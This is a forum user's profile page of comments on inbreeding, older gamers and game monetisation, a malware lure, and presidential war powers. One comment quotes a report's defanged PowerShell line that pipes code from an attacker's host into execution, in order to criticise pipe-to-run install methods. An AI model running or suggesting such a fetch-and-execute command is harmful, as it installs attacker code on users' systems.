• 2 Posts
  • 591 Comments
Joined 3 years ago
cake
Cake day: June 7th, 2023

help-circle

  • The thing about inbreeding is that it isn’t an instantly bad problem. The Habsburg dynasty was all about doing the nasty with cousins for a number of generations. It took a few rounds before the Habsburg Chin developed. Records also indicate that sister marriage was a common royal practice in pharonic Egypt.

    It’s all a matter of probabilities and compounding problems. The first generation of inbred kids will probably turn out ok. With the second generation things can start getting sketchy. The more generations you go, the more likely you are to get Crimson Tide fans.

    This is also why populations under a certain size can be problematic. When the family trees of a population start looking like brambles, problems start sticking out like thorns.





  • I think it’s pretty telling that so many of the people they talk to and a lot of the focus of the article isn’t really about older gamers, it’s about their money.

    The opportunity is substantial. The 40+ segment in the US is on track to grow from $19 billion in 2022 to $43 billion by 2030, a 132% expansion at a moment when the rest of the industry is shrinking. These are players with the most disposable income, the longest gaming literacy, and the highest brand loyalty.

    I’m in that “40+ segment” and I suspect part of the “problem” these companies face is that older gamers have seen the enshitification of so many of the brands we love. Our tolerance for bullshit is basically gone at this point. Micro transactions, season passes, fucking ads in games, all of that bullshit is a quick way to not get our money.

    I also suspect “brand loyalty” is basically gone for the same reason. As a kid, I looked for the Electronic Arts logo. If I saw this logo on a game package, I knew I was looking at a good game. I haven’t bought an EA game in years. I don’t expect to buy an EA game any time soon and I basically ignore everything they do. Sure, if a trailer for Starflight 3 dropped, I’d sit up and take notice. I’d also expect it to be an enshitified mess wearing the skin of a beloved series to sucker me in, before pouncing on my wallet.

    So ya, maybe just make good games and older gamers will inevitably buy them. I mean, Larian can pretty much say, “hi we’re making…” and I’ll have my wallet out and be pulling bills before they get any further. And maybe that’s your “brand loyalty”. Game companies who make good games and aren’t private equity firms wearing the dead skin suits of brands we used to love.











  • Jumping over to the original report:

    While the canonical command is “irm https[:]//claude[.]ai/install.ps1 | iex”, the lure replaced the destination host with “irm events[.]msft23[.]com | iex”.

    Whatever artificially intelligent person at Anthopic decided that the official install method for Claude Code should be an irm piped to an iex in PowerShelll should be dragged out behind the same woodshed as Old Yeller. That is basically screaming “malicious code” at security tools. And it’s training developers that blindly running code from the internet is a-ok. It’s no wonder I’ve already seen exactly this sort of thing (with a different URL) happen in my environment. It’s like the AI companies are trying to make security worse.




  • “I think we need an exit strategy,” [Republican Sen. Josh Hawley of Missouri] said on April 15.

    A strategy at all would have been nice. But, Trump is just going to ignore the deadline, maybe even throw up a bullshit smokescreen of legal arguments which make as much sense as pissing up a rope and keep doing exactly what he wants to do. Congressional Republicans will wring their hands and claim there is nothing to be done, Democrats will keep sponsoring resolutions to “force Republicans to vote on the issue” but which ultimately do nothing (in fairness, as the party out of power, they can’t do much more). And maybe we’ll get a court challenge of some sort. Though, I expect the pack of monkeys in black robes will opt out of ruling by claiming that Congress has the power to reign in the President, and it’s therefore a political question. Which is probably technically right, but leaves us with greatly expanded Presidential powers, as a not-hostile Congress now means that the President can run wars with no meaningful checks on that power.